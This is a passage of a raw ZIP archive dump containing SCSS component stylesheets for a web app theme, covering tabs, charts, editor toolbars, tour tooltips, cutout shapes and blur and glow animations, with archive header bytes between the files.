1rem; .tox-icon { opacity: 0.75; } .tox-tbtn { width: auto !important; } } } } } .theme-dark { div.tox { .tox-menu { background-color: hsl(var(--surface-light)); border: none; } } } html[dir='rtl'] { .workbook-form { .tox { .tox-toolbar__primary, .tox-toolbar { flex-direction: row-reverse !important; } } } .lqd-tinymce-toolbar-fixed { --header-translateX: calc(var(--sidebar-w) * -1); } } @media (max-width: 991px) { .lqd-tinymce-toolbar-fixed { div.tox { .tox-toolbar { &.tox-toolbar--scrolling { overflow-x: auto; flex-wrap: nowrap; } } .tox-editor-header { transform: translateX(0); } .tox-toolbar__group { &:first-child, &:last-child { width: auto; } } } } } @media (max-width: 565px) { .tox { .tox-toolbar.tox-toolbar--scrolling { overflow: hidden; flex-wrap: wrap; gap: 8px; .tox-toolbar__group { gap: 3px; } } } }PKJW]ô;Š Š 'views/default/scss/components/_tab.scssnu„[µü¤.nav-tabs { .nav-link { color: var(--tblr-primary); background-color: white; &.active { color: white; background-color: var(--tblr-primary); } } } .dz-progress { visibility: hidden !important; } .lqd-tabs-nav-toggle { justify-content: center; button { &:before { content: ''; display: inline-block; width: 14px; height: 14px; position: absolute; top: calc(50% - 7px); inset-inline-start: calc(50% - 15px); border-radius: 10px; transform: scale(0.5); opacity: 0; transition: transform 0.65s cubic-bezier(0.23, 1, 0.320, 1), opacity 0.65s cubic-bezier(0.23, 1, 0.320, 1); @apply bg-gradient-to-r from-[--gradient-from] via-[--gradient-via] to-[--gradient-to]; } &:after { content: ''; display: inline-block; width: 100%; height: 30px; border: 1px solid hsl(var(--heading-foreground) / 10%); } &:first-child, &:last-child { &:after { width: 28px; } .lqd-tabs-nav-txt { margin-bottom: 0; } } &:first-child { flex-direction: row; &:before { inset-inline-start: auto; inset-inline-end: 7px; } &:after { border-radius: 50em 0 0 50em; border-inline-end: none; } .lqd-tabs-nav-txt { margin-inline-end: 1em; } } &:last-child { flex-direction: row-reverse; &:before { inset-inline-start: 7px; } &:after { border-radius: 0 50em 50em 0; border-inline-start: none; } .lqd-tabs-nav-txt { margin-inline-start: 1em; } } &.lqd-is-active { @apply text-heading-foreground; &:before { opacity: 1; transform: scale(1); } } } .lqd-tabs-nav-txt { margin: 0 0.5em 7px; margin-bottom: 7px; } } .theme-dark { .nav-tabs { .nav-link { color: var(--lqd-color-heading); background-color: rgb(255 255 255 / 5%); &.active { color: white; background-color: var(--tblr-primary); } } } } @keyframes lqd-tabs-content-slide-in { from { transform: translateY(30px); opacity: 0; } } @keyframes lqd-tabs-content-scale-down { to { transform: scale(0.985); opacity: 0; } } ::view-transition-old(lqd-tabs-content) { animation: lqd-tabs-content-scale-down 0.3s cubic-bezier(0.23, 1, 0.320, 1) both; } ::view-transition-new(lqd-tabs-content) { animation: lqd-tabs-content-slide-in 0.3s cubic-bezier(0.23, 1, 0.320, 1) both; } .lqd-tabs-nav { view-transition-name: lqd-tabs-nav; } .lqd-tabs-content { view-transition-name: lqd-tabs-content; } @media screen and (max-width: 479px) { .lqd-tabs-nav-toggle { button { width: 100%; flex-direction: row; &:before { width: 16px; height: 16px; inset-inline-start: 10px; bottom: 10px; inset-inline-end: auto; } &:after { width: 36px; order: -1; border-radius: 50%; } &:not(:last-child) { margin-bottom: 0.5em; } } .lqd-tabs-nav-txt { margin-inline-start: 1em; margin-inline-end: 0; } } } PKJW]/views/default/scss/components/_marketplace.scssnu„[µü¤PKJW]3views/default/scss/components/_favorite-button.scssnu„[µü¤PKJW]ÿK–šä ä .views/default/scss/components/_apex-chart.scssnu„[µü¤.apexcharts-xaxistooltip, .apexcharts-yaxistooltip, .apexcharts-tooltip { backdrop-filter: blur(10px) brightness(120%); box-shadow: 0 2px 4px -1px hsl(0 0% 0% / 5%) !important; } .apexcharts-xaxistooltip, .apexcharts-yaxistooltip { border-color: hsl(var(--border)) !important; background: hsl(var(--background)) !important; color: hsl(var(--foreground)) !important; } .apexcharts-tooltip-title { padding: theme('size.2') theme('size.2'); margin-bottom: 0 !important; font-family: inherit !important; line-height: inherit; font-weight: 500; background: hsl(var(--foreground) / 10%) !important; border-bottom-color: hsl(var(--border)) !important; } .apexcharts-tooltip-series-group { padding-top: theme('size.2') !important; padding-bottom: theme('size.2') !important; } .apexcharts-tooltip-y-group { padding-top: 0 !important; padding-bottom: 0 !important; } .apexcharts-yaxistooltip-left:before, .apexcharts-yaxistooltip-left:after, .apexcharts-yaxistooltip-right:before, .apexcharts-yaxistooltip-right:after { border-left-color: hsl(var(--border)) !important; } .apexcharts-xaxistooltip-top:before, .apexcharts-xaxistooltip-top:after, .apexcharts-xaxistooltip-bottom:before, .apexcharts-xaxistooltip-bottom:after { border-bottom-color: hsl(var(--border)) !important; } // in popular plans chart we're hiding first 4 legends & points that added as placeholders #revenue-source { .apexcharts-legend-series[rel='1'], .apexcharts-legend-series[rel='2'], .apexcharts-legend-series[rel='3'], .apexcharts-legend-series[rel='4'], .apexcharts-series+.apexcharts-datalabels, .apexcharts-series+.apexcharts-datalabels+.apexcharts-datalabels, .apexcharts-series+.apexcharts-datalabels+.apexcharts-datalabels+.apexcharts-datalabels, .apexcharts-series+.apexcharts-datalabels+.apexcharts-datalabels+.apexcharts-datalabels+.apexcharts-datalabels { display: none !important; } .apexcharts-series[rel='1'], .apexcharts-series[rel='2'], .apexcharts-series[rel='3'], .apexcharts-series[rel='4'] { visibility: hidden; } } #popular-tools-chart { svg, foreignObject { overflow: visible; } .apexcharts-legend { padding: 0; overflow: visible; } .apexcharts-legend-series { display: flex; align-items: center; border-bottom: 1px solid hsl(var(--border)); padding: 0.75rem 0 !important; .apexcharts-legend-text { display: flex; flex-grow: 1; gap: theme('size.2'); span { font-weight: 700; margin-inline-start: auto; } } } } #popular-ai-tools { .apexcharts-legend, .apexcharts-svg, .apexcharts-svg>foreignObject { @apply lg:overflow-visible } .apexcharts-legend { @media (screen('lg')) { top: 50% !important; bottom: auto !important; transform: translateY(-50%) !important; } } .apexcharts-legend-series { @apply lg:py-4 lg:border-b lg:last:border-b-0 lg:text-sm lg:font-medium; } .apexcharts-legend-marker { @media (screen('lg')) { width: 10px !important; height: 10px !important; } } } .theme-dark { .apexcharts-tooltip { &.apexcharts-theme-light { border-color: hsl(var(--border)); background: hsl(var(--background)); color: hsl(var(--foreground)); } } } @media (min-width: 501px) { #popular-tools-chart { .apexcharts-legend { top: 0 !important; } } }PKJW]@ûôu;;8views/default/scss/components/_generators-container.scssnu„[µü¤@keyframes lqd-generators-container-slide-in { from { transform: translateY(30px); opacity: 0; } } @keyframes lqd-generators-container-scale-down { to { transform: scale(0.985); opacity: 0; } } ::view-transition-old(lqd-generators-container) { animation: lqd-generators-container-scale-down 0.3s cubic-bezier(0.23, 1, 0.320, 1) both; } ::view-transition-new(lqd-generators-container) { animation: lqd-generators-container-slide-in 0.3s cubic-bezier(0.23, 1, 0.320, 1) both; } .lqd-generators-container { view-transition-name: lqd-generators-container; }PKJW]½ãgÈ©©5views/default/scss/components/_ai-tools-dropdown.scssnu„[µü¤.ai-tools-dropdown { --navbar-link-pt: theme('size.3'); --navbar-link-pb: theme('size.3'); --navbar-icon-size: 1.5rem; .ai-tools-list { .lqd-navbar-link { flex-direction: column; height: 100%; align-items: center; text-align: center; justify-content: space-between; &.active { @apply dark:bg-navbar-background-active/5 dark:before:content-none; } } .lqd-nav-link-label { background-color: transparent; box-shadow: none; opacity: 1; visibility: visible; position: relative; inset: auto; transform: none; white-space: normal; width: auto; } } .lqd-dropdown-dropdown-content { @apply min-w-80 max-h-[450px]; } }PKJW]™rÝâ°°)views/default/scss/components/_table.scssnu„[µü¤td, th { @apply transition-colors py-3 px-4; } th { text-align: start; } tr { @apply transition-colors; &:last-child { td { border-bottom: none; } } } .table-vcenter { > :not(caption)>*>* { padding: 1.1rem; } } .table { thead { th { padding-top: 1.75em; padding-bottom: 1.05em; border-color: var(--tblr-border-color); background: none; font-weight: var(--tblr-font-weight-medium); } } }PKJW]*views/default/scss/components/_folder.scssnu„[µü¤PKJW]�Öæ‘‘)views/default/scss/components/_audio.scssnu„[µü¤.data-audio { gap: 9px; width: 127px; height: 35px; padding: 0 10px; border-radius: 20px; box-shadow: 0 1px 4px rgb(0 0 0 / 15%); font-size: 11px; background-color: #fff; > wave { width: 100% !important; // height: 22px !important; // wave, // canvas { // max-width: 100%; // } } button { display: inline-flex; width: 18px; height: 18px; padding: 0; border-radius: 10px; order: -1; flex-shrink: 0; align-items: center; justify-content: center; background: none; border: 1px solid; color: hsl(var(--primary)); transition: all 0.3s; svg { &:nth-child(2) { display: none; } } &.is-playing { background-color: hsl(var(--primary)); color: #fff; svg { &:first-child { display: none; } &:nth-child(2) { display: block; } } } } } .theme-dark { .data-audio { background-color: rgb(255 255 255 / 5%); } }PKJW]BÙVAA0views/default/scss/components/_shape-cutout.scssnu„[µü¤.lqd-cutout-1 { --roundness: min(calc(var(--shape-h) / 2), var(--shape-roundness)); .lqd-cutout-mask-g, .lqd-cutout-mask-rect-fill, .lqd-cutout-mask-extended-corner-mask-bs, .lqd-cutout-mask-extended-corner-mask-be, .lqd-cutout-mask-circle { transform-origin: top right; transform-box: fill-box; } .lqd-cutout-mask-extended-corner-mask-bs, .lqd-cutout-mask-extended-corner-mask-be, .lqd-cutout-mask-circle, .lqd-cutout-mask-g-wrap { transform-origin: center; } .lqd-cutout-mask-g { transform: skewX(var(--shape-skew)); } .lqd-cutout-mask-rect { height: calc(var(--shape-h) + var(--roundness)); y: calc(100% - var(--shape-h) - var(--shape-y) + 1px); } .lqd-cutout-mask-rect-1 { width: var(--shape-w); x: calc(100% - var(--shape-w) - var(--shape-x)); rx: var(--roundness); } .lqd-cutout-mask-rect-fill { width: calc(var(--shape-w) / 2); x: calc(100% - (var(--shape-w) / 2.5) - var(--shape-x)); transform: skewX(calc(var(--shape-skew) * -1)); } .lqd-cutout-mask-circle { r: var(--roundness); } .lqd-cutout-mask-circle-bs { cx: calc(100% - var(--shape-w) - var(--shape-x)); cy: calc(100% - var(--shape-y)); } .lqd-cutout-mask-circle-be { cx: calc(100% - var(--shape-x)); cy: calc(100% - var(--shape-y)); } .lqd-cutout-mask-circle-bs-mask-clip { cx: calc(100% - var(--shape-w) - var(--roundness) - var(--shape-x)); cy: calc(100% - var(--roundness) - var(--shape-y)); } .lqd-cutout-mask-circle-be-mask-clip { cx: calc(100% + var(--roundness) - var(--shape-x)); cy: calc(100% - var(--roundness) - var(--shape-y)); } .lqd-cutout-mask-circle-te { cx: calc(100% - var(--shape-x)); cy: calc(100% - var(--shape-h) - var(--shape-y)); } .lqd-cutout-mask-circle-te-mask-clip { cx: calc(100% - var(--roundness) - var(--shape-x)); cy: calc(100% - var(--shape-h) - var(--roundness) - var(--shape-y) + 1px); } .lqd-cutout-mask-extended-corner { r: var(--extended-corner-r); cx: calc(100% - var(--shape-x) + (var(--extended-corner-r) / 4)); cy: calc(100% - var(--shape-h) - var(--shape-y) - (var(--extended-corner-r) / 4)); } .lqd-cutout-mask-extended-corner-mask-bs { r: calc(var(--extended-corner-r) / 2); cx: calc(100% - var(--shape-x) - (var(--extended-corner-r))); cy: calc(100% - var(--shape-h) - var(--shape-y)); } .lqd-cutout-mask-extended-corner-bs-mask-clip { r: calc(var(--extended-corner-r) / 1.5); cx: calc(100% - var(--shape-x) - (var(--extended-corner-r)) - (var(--extended-corner-r) / 4) - (var(--extended-corner-r) * 0.125)); cy: calc(100% - var(--shape-h) - var(--shape-y) - (var(--extended-corner-r) / 2) - (var(--extended-corner-r) * 0.125)); } .lqd-cutout-mask-extended-corner-mask-be { r: calc(var(--extended-corner-r) / 1.5); cx: calc(100% - var(--shape-x) + (var(--extended-corner-r) / 4)); cy: calc(100% - var(--shape-h) - var(--shape-y) + var(--extended-corner-r)); transform: rotate(-4deg); } .lqd-cutout-mask-extended-corner-be-mask-clip { r: var(--extended-corner-r); cx: calc(100% - var(--shape-x) + var(--extended-corner-r) - (var(--extended-corner-r) * 0.04)); cy: calc(100% - var(--shape-h) - var(--shape-y) + var(--extended-corner-r) + (var(--extended-corner-r) / 1.5) - (var(--extended-corner-r) * 0.0385)); } &.lqd-cutout-tl { .lqd-cutout-mask-g-wrap { transform: scale(-1); } } &.lqd-cutout-tr { .lqd-cutout-mask-g-wrap { transform: scaleY(-1); } } &.lqd-cutout-bl { .lqd-cutout-mask-g-wrap { transform: scaleX(-1); } } } .lqd-cutout-2 { --border-w: 1px; --border-radius: 16px; --roundness: max(var(--border-w), var(--border-radius)); border-color: hsl(var(--border)); top: calc(var(--border-w) * -1); bottom: 0; inset-inline-start: calc(var(--roundness) * -1); inset-inline-end: calc(var(--border-w) * -1); } .lqd-cutout-2 .lqd-cutout-2-border-ts { position: absolute; top: 0; inset-inline-start: 0; bottom: var(--roundness); width: var(--roundness); border-top: var(--border-w) solid; border-inline-end: var(--border-w) solid; border-color: inherit; border-radius: 0 var(--roundness) 0 0; .lqd-card & { &:before { content: ''; position: absolute; top: 0; bottom: calc(var(--roundness) * -1); width: var(--roundness); inset-inline-start: calc(var(--border-w) * -1); background: hsl(var(--card-background)); border-start-end-radius: calc(var(--border-radius) - var(--border-w)); @apply transition-colors; } } } .lqd-cutout-2 .lqd-cutout-2-border-bs { position: absolute; bottom: 0; top: calc(100% - var(--roundness)); inset-inline-start: calc(var(--roundness) - var(--border-w)); inset-inline-end: var(--roundness); border-radius: 0 0 0 var(--roundness); border-bottom: var(--border-w) solid; border-inline-start: var(--border-w) solid; border-color: inherit; background-color: hsl(var(--background)); @apply transition-colors; .lqd-card & { &:before { content: ''; position: absolute; top: 0; bottom: calc(var(--border-w) * -1); width: var(--roundness); inset-inline-start: calc(var(--border-w) * -1); background: hsl(var(--card-background)); border-start-end-radius: calc(var(--border-radius) - var(--border-w)); z-index: -1; @apply transition-colors; } } } .lqd-cutout-2 .lqd-cutout-2-border-be { width: var(--border-w); position: absolute; top: 100%; inset-inline-end: 0; bottom: calc(var(--roundness) * -1); background: hsl(var(--background)); border-color: inherit; } .lqd-cutout-2 .lqd-cutout-2-border-be:after { content: ''; position: absolute; top: calc(var(--border-w) * -1); bottom: 0; width: var(--roundness); inset-inline-end: 0; border-top: var(--border-w) solid; border-inline-end: var(--border-w) solid; border-color: inherit; border-radius: 0 var(--roundness) 0 0; } .lqd-cutout-2[data-pos=ts] { transform: scaleX(-1); inset-inline-start: calc(var(--border-w) * -1); inset-inline-end: calc(var(--roundness) * -1); }PKJW]áùBø””*views/default/scss/components/_avatar.scssnu„[µü¤.avatar { --tblr-border-radius: var(--tblr-avatar-size); --tblr-avatar-shadow: var(--lqd-shadow-xs); svg { width: unset; height: unset; } }PKJW]aÉJhh+views/default/scss/components/_introjs.scssnu„[µü¤.introjs-arrow { border-width: 7px; &.top { @apply border-b-background; top: -14px; left: 14px; } &.right { @apply border-l-background; top: 14px; right: -14px; } &.bottom { @apply border-t-background; bottom: -14px; left: 14px; } &.left { @apply border-r-background; top: 14px; left: -14px; } } .introjsFloatingElement { @apply fixed; } .shepherd-cancel-icon, .introjs-skipbutton { @apply absolute left-auto right-auto -end-3 -top-3 ms-auto inline-flex size-8 items-center justify-center rounded-full bg-background bg-center bg-no-repeat text-2xl font-normal leading-none text-heading-foreground shadow-lg transition-all hover:scale-105 hover:bg-red-500 hover:text-white; background-image: url('data:image/svg+xml;base64,PHN2ZwogIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIKICB3aWR0aD0iMjQiCiAgaGVpZ2h0PSIyNCIKICB2aWV3Qm94PSIwIDAgMjQgMjQiCiAgZmlsbD0ibm9uZSIKICBzdHJva2U9IiMwMDAwMDAiCiAgc3Ryb2tlLXdpZHRoPSIyIgogIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIKICBzdHJva2UtbGluZWpvaW49InJvdW5kIgo+CiAgPHBhdGggZD0iTTE4IDZsLTEyIDEyIiAvPgogIDxwYXRoIGQ9Ik02IDZsMTIgMTIiIC8+Cjwvc3ZnPg=='); background-size: 18px; &:hover { background-image: url('data:image/svg+xml;base64,PHN2ZwogIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIKICB3aWR0aD0iMjQiCiAgaGVpZ2h0PSIyNCIKICB2aWV3Qm94PSIwIDAgMjQgMjQiCiAgZmlsbD0ibm9uZSIKICBzdHJva2U9IiNmZmZmZmYiCiAgc3Ryb2tlLXdpZHRoPSIyIgogIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIKICBzdHJva2UtbGluZWpvaW49InJvdW5kIgo+CiAgPHBhdGggZD0iTTE4IDZsLTEyIDEyIiAvPgogIDxwYXRoIGQ9Ik02IDZsMTIgMTIiIC8+Cjwvc3ZnPg=='); } span { @apply hidden; } } .shepherd-button, .introjs-button { @apply bg-primary text-primary-foreground transition-colors border-none font-medium rounded-full m-0; text-shadow: none; &:not(:disabled) { @apply hover:bg-primary/80 hover:text-primary-foreground focus:bg-primary focus:text-primary-foreground focus:border-none focus:ring focus:ring-primary/20; } } .introjs-disabled { @apply bg-heading-foreground text-header-background; } .shepherd-btn-back, .introjs-prevbutton { @apply bg-transparent underline text-heading-foreground ms-auto p-0; &:not(:disabled) { @apply hover:bg-transparent hover:text-primary focus:ring-0 focus:bg-transparent focus:text-primary; } &.introjs-hidden { ~ .introjs-nextbutton { @apply ms-auto } } } .introjs-disabled { @apply pointer-events-none opacity-40; } .shepherd-footer, .introjs-tooltipbuttons { @apply flex items-center gap-4 p-0 mt-4 border-none after:content-none; } .introjs-tooltip-header { @apply flex gap-1 justify-between p-0 min-h-0 static; h1 { @apply text-xl/[1.1em] font-bold mb-3 empty:hidden min-h-0; } &:has(h1:empty) { @apply mb-3; } } .shepherd-text, .introjs-tooltiptext { @apply p-0 text-base/[1.5em]; overflow-wrap: anywhere; img { @apply mb-7 rounded-md w-full h-auto; } h1, h3 { @apply text-xl/[1.1em] font-bold mb-3; } } .shepherd-element, .introjs-tooltip { @apply bg-background text-foreground shadow-[0_4px_42px_hsl(var(--background)/40%)] rounded-lg min-w-[420px] border-none p-5 before:-inset-0 before:absolute before:z-0 before:pointer-events-none; &:before { background-image: url(@themeAssets/default/assets/img/bg/blob-1.png); background-size: 410px; background-position: -5% calc(100% + 60px); background-repeat: no-repeat; } &:has(.introjs-tooltiptext img, .introjs-tooltiptext h1) .introjs-tooltip-header { @apply mb-0; } } .shepherd-arrow { @apply size-3.5 before:size-3.5; } .shepherd-element { @apply transition-all ease-linear; &[data-popper-placement^=bottom] { @apply before:-top-1.5; .shepherd-arrow { @apply -top-1.5 before:rounded-tl-[3px]; } } &[data-popper-placement^=top] { .shepherd-arrow { @apply -bottom-1.5 before:rounded-br-[3px]; } } &[data-popper-placement^=right] { .shepherd-arrow { @apply -left-1.5 before:rounded-bl-[3px]; } } &[data-popper-placement^=left] { .shepherd-arrow { @apply -right-1.5 before:rounded-tr-[3px]; } } } .introjs-tooltipReferenceLayer { * { font-family: inherit; } } .shepherd-header { @apply p-0; } .theme-dark { .introjs-helperLayer { box-shadow: rgba(255, 255, 255, 0.8) 0px 0px 1px 2px, rgba(0, 0, 0, 0.5) 0px 0px 0px 50000px !important; } .shepherd-cancel-icon, .introjs-skipbutton { background-image: url('data:image/svg+xml;base64,PHN2ZwogIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIKICB3aWR0aD0iMjQiCiAgaGVpZ2h0PSIyNCIKICB2aWV3Qm94PSIwIDAgMjQgMjQiCiAgZmlsbD0ibm9uZSIKICBzdHJva2U9IiNmZmZmZmYiCiAgc3Ryb2tlLXdpZHRoPSIyIgogIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIKICBzdHJva2UtbGluZWpvaW49InJvdW5kIgo+CiAgPHBhdGggZD0iTTE4IDZsLTEyIDEyIiAvPgogIDxwYXRoIGQ9Ik02IDZsMTIgMTIiIC8+Cjwvc3ZnPg=='); } } PKJW]ƒTqYY*views/default/scss/components/_wizard.scssnu„[µü¤.lqd-article-wizard-meta-area { #next_btn { svg { @apply rtl:rotate-180; } } }PKJW]~8%ÈÈ*views/default/scss/components/_typing.scssnu„[µü¤.tox-edit-area { .lqd-typing { position: absolute !important; z-index: 90; top: 1em !important; left: 1em !important; bottom: auto !important; right: auto !important; background: hsl(var(--secondary)) !important; color: hsl(var(--secondary-foreground)) !important; font-size: 12px !important; &.lqd-is-hidden { display: none !important; } } } .lqd-typing-dot { animation: typingAnimation 0.5s infinite alternate backwards cubic-bezier(.9, 0, .95, .84); } .lqd-tinymce-toolbar-fixed { .tox-edit-area { .lqd-typing { z-index: 20; } } } @keyframes typingAnimation { 0% { transform: translateY(0) scaleY(1); } 100% { transform: translateY(-120%) scaleY(0.75); } }PKJW]ïÙŽ??+views/default/scss/components/_popover.scssnu„[µü¤.popover__title { font-size: 24px; line-height: 36px; text-decoration: none; color: rgb(228, 68, 68); text-align: center; padding: 15px 0; } .popover__wrapper { position: relative; margin-top: 1.5rem; display: inline-block; } .popover__back { position: fixed; width: 100vw; height: 100vh; background-color: rgba(0, 0, 0, 0.26); z-index: 51; left: 0; top: 0; } .popover__content { opacity: 0; visibility: hidden; position: absolute; left: calc(-250px); transform: translate(0, 15px); background-color: var(--tblr-bg-surface); padding: 10px; box-shadow: 0px 2px 5px 2px rgba(0, 0, 0, 0.26); border-radius: 10px; min-width: 250px; } .popover__content:before { position: absolute; z-index: -1; content: ""; right: calc(10% - 10px); top: -8px; border-style: solid; border-width: 0 10px 10px 10px; border-color: transparent transparent var(--tblr-bg-surface) transparent; transition-duration: 0.3s; transition-property: transform; } .popover__wrapper .popover__content { opacity: 1; visibility: visible; transform: translate(0px, 10px); transition: all 0.5s cubic-bezier(0.75, -0.02, 0.2, 0.97); z-index: 52; } .popover__message { text-align: left; padding-left: 10px; }PKJW] P¢³RR0views/default/scss/components/_info-tooltip.scssnu„[µü¤.lqd-price-table-info { .lqd-tooltip-content { @apply min-w-48 max-h-40; } } PKJW]ï§¹ûû3views/default/scss/components/_image-generator.scssnu„[µü¤@keyframes lqd-image-generator-slide-in { from { transform: translateY(30px); opacity: 0; } } @keyframes lqd-image-generator-scale-down { to { transform: scale(0.985); opacity: 0; } } ::view-transition-old(lqd-image-generator) { animation: lqd-image-generator-scale-down 0.3s cubic-bezier(0.23, 1, 0.320, 1) both; } ::view-transition-new(lqd-image-generator) { animation: lqd-image-generator-slide-in 0.3s cubic-bezier(0.23, 1, 0.320, 1) both; } .lqd-image-generator-tabs-nav { view-transition-name: lqd-image-generator-tabs-nav; } .lqd-image-generator-stablediffusion, .lqd-image-generator-dalle { view-transition-name: lqd-image-generator; } .lqd-image-generator-random-prompt { view-transition-name: lqd-image-generator-random-prompt; } PKJW]u**.views/default/scss/components/_pagination.scssnu„[µü¤.page-link { --tblr-border-radius: 2em; }PKJW]2views/default/scss/components/_generator-item.scssnu„[µü¤PKJW]HÕÌ7views/default/scss/components/_documents-container.scssnu„[µü¤@keyframes lqd-posts-container-slide-in { from { transform: translateY(30px); opacity: 0; } } @keyframes lqd-posts-container-scale-down { to { transform: scale(0.985); opacity: 0; } } ::view-transition-old(lqd-posts-container) { animation: lqd-posts-container-scale-down 0.3s cubic-bezier(0.23, 1, 0.320, 1) both; } ::view-transition-new(lqd-posts-container) { animation: lqd-posts-container-slide-in 0.3s cubic-bezier(0.23, 1, 0.320, 1) both; } .lqd-posts-container { view-transition-name: lqd-posts-container; }PKJW]¤åºÇÇ1views/default/scss/components/_document-item.scssnu„[µü¤.lqd-posts-item { grid-template-areas: 'content type date cost actions'; grid-template-columns: 3fr repeat(2, minmax(0, 1fr)) 100px 1fr; .lqd-posts-item-content { grid-area: content; } .lqd-posts-item-type { grid-area: type; } .lqd-posts-item-date { grid-area: date; } .lqd-posts-item-actions { grid-area: actions; } [data-view-mode=grid] & { grid-template-areas: 'type .' 'content content' 'date actions'; grid-template-columns: unset; padding: 1.125rem 0.9375rem; box-shadow: 0 2px 5px rgb(0 0 0 / 7%); border-width: 0; border-radius: var(--card-rounded); .lqd-posts-item-content-inner { mask-image: linear-gradient(to top, transparent 10%, black 80%); } .lqd-posts-item-icon, .lqd-posts-item-cost { display: none; } &[data-type=image] { grid-template-areas: 'content content' 'date actions'; .lqd-posts-item-type { display: none; } .lqd-posts-item-content { height: 100%; padding-top: 0; } .lqd-posts-item-content-inner { height: auto; mask-image: none; } } &:hover { background-color: transparent; transform: translateY(-3px); box-shadow: 0 5px 15px rgb(0 0 0 / 5%); } } } .lqd-social-media-post-item { grid-template-areas: 'content type date likes cost actions'; grid-template-columns: 3fr repeat(3, minmax(0, 1fr)) 100px 1fr; } .theme-dark { [data-view-mode=grid] { .lqd-posts-item { box-shadow: 0 5px 10px rgb(255 255 255 / 3%); } } } @media (min-width: 992px) and (max-width: 1199px) { [data-view-mode=list] { .lqd-posts-head, .lqd-posts-item { grid-template-columns: 2fr repeat(2, minmax(0, 1fr)) 100px 1fr; } } .lqd-social-media-post-item { grid-template-columns: 3fr repeat(3, minmax(0, 1fr)) 100px 1fr !important; } } @media (max-width: 991px) { [data-view-mode=list] { .lqd-posts-head, .lqd-posts-item { grid-template-columns: 2fr repeat(2, minmax(0, 1fr)) 100px 1fr; min-width: 990px; } } } PKJW]˜&qÿÿ.views/default/scss/components/_components.scssnu„[µü¤@import './button'; @import './card'; @import './avatar'; @import './table'; @import './pagination'; @import './badge'; @import './tab'; @import './popover'; @import './custom'; @import './modal_popover'; @import './form'; @import './apex-chart'; @import './tinymce'; @import './floating-menu'; @import './documents-container'; @import './document-item'; @import './generators'; @import './generators-container'; @import './generator-item'; @import './image-generator'; @import './progress-bar'; @import './toastr'; @import './skeleton'; @import './typing'; @import './audio'; @import './folder'; @import './chats'; @import './chats-v2'; @import './favorite-button'; @import './marketplace'; @import './filter-list'; @import './wizard'; @import './outline-glow'; @import './introjs'; @import './ai-tools-dropdown'; @import './info-tooltip'; @import './header-search'; @import './numer-counter'; @import './shape-cutout'; @import './curtain'; @import './split-text'; @import './fullcalendar'; @import './progressive-blur'; PKJW]ÍÍ»»0views/default/scss/components/_outline-glow.scssnu„[µü¤@keyframes outline-glow-1 { 0% { transform: translate(-50%, -50%) rotate(0deg); } 100% { transform: translate(-50%, -50%) rotate(360deg); } } @keyframes outline-glow-2 { 0% { transform: translate(-88%, -50%) rotate(0deg); } 33% { transform: translate(-12%, -50%) rotate(0deg); } 50% { transform: translate(-12%, -50%) rotate(180deg); } 83% { transform: translate(-88%, -50%) rotate(180deg); } 100% { transform: translate(-88%, -50%) rotate(360deg); } } @keyframes outline-glow-3 { 0% { transform: translate(-50%, -50%) rotate(0); } 10% { opacity: 1; } 90% { opacity: 1; } 100% { transform: translate(-50%, -50%) rotate(calc(360deg * var(--outline-glow-iteration, 3))); opacity: 0; } } .lqd-outline-glow { --glow-color-primary: var(--primary, 0 0% 100%); inset: calc(var(--outline-glow-w, 1px) * -1); padding: var(--outline-glow-w, 1px); background: transparent; -webkit-mask: linear-gradient(#fff 0 0) content-box, linear-gradient(#fff 0 0); mask: linear-gradient(#fff 0 0) content-box, linear-gradient(#fff 0 0); -webkit-mask-composite: xor; mask-composite: exclude; } .lqd-outline-glow-effect-1 { .lqd-outline-glow-inner { background: conic-gradient(from 290deg, hsl(var(--glow-color-secondary, 0 0% 100% / 0%)) 0%, hsl(var(--glow-color-primary)) 10%, hsl(var(--glow-color-secondary, 0 0% 100% / 0%)) 20%); animation: outline-glow-1 var(--outline-glow-duration, 3s) linear var(--outline-glow-iteration, infinite); } } .lqd-outline-glow-effect-2 { .lqd-outline-glow-inner { background: conic-gradient(from 290deg at 50%, hsl(var(--glow-color-secondary, 0 0% 100% / 0%)) 0%, hsl(var(--glow-color-primary)) 20%, hsl(var(--glow-color-secondary, 0 0% 100% / 0%)) 25%); animation: outline-glow-2 var(--outline-glow-duration, 3s) linear var(--outline-glow-iteration, infinite); } } // designed to disappear after a few iterations .lqd-outline-glow-effect-3 { .lqd-outline-glow-inner { background: conic-gradient(from 0deg, transparent 0%, hsl(var(--glow-color-primary)) 10%, hsl(var(--glow-color-secondary)) 20%, transparent 30%); animation: outline-glow-3 calc(var(--outline-glow-duration, 3s) * var(--outline-glow-iteration, 3)) linear; } } PKJW]›�Œ� � 4views/default/scss/components/_progressive-blur.scssnu„[µü¤// Credits: https: //kennethnym.com/blog/progressive-blur-in-css/ .lqd-progressive-blur-filter { &:nth-child(1) { backdrop-filter: blur(calc(var(--base-val, 1) * 1px)); mask: linear-gradient(rgba(0, 0, 0, 0), rgba(0, 0, 0, 1) 10%, rgba(0, 0, 0, 1) 30%, rgba(0, 0, 0, 0) 40%); } &:nth-child(2) { backdrop-filter: blur(calc(var(--base-val, 1) * 2px)); mask: linear-gradient(rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 1) 20%, rgba(0, 0, 0, 1) 40%, rgba(0, 0, 0, 0) 50%); } &:nth-child(3) { backdrop-filter: blur(calc(var(--base-val, 1) * 4px)); mask: linear-gradient(rgba(0, 0, 0, 0) 15%, rgba(0, 0, 0, 1) 30%, rgba(0, 0, 0, 1) 50%, rgba(0, 0, 0, 0) 60%); } &:nth-child(4) { backdrop-filter: blur(calc(var(--base-val, 1) * 8px)); mask: linear-gradient(rgba(0, 0, 0, 0) 20%, rgba(0, 0, 0, 1) 40%, rgba(0, 0, 0, 1) 60%, rgba(0, 0, 0, 0) 70%); } &:nth-child(5) { backdrop-filter: blur(calc(var(--base-val, 1) * 16px)); mask: linear-gradient(rgba(0, 0, 0, 0) 40%, rgba(0, 0, 0, 1) 60%, rgba(0, 0, 0, 1) 80%, rgba(0, 0, 0, 0) 90%); } &:nth-child(6) { backdrop-filter: blur(calc(var(--base-val, 1) * 32px)); mask: linear-gradient(rgba(0, 0, 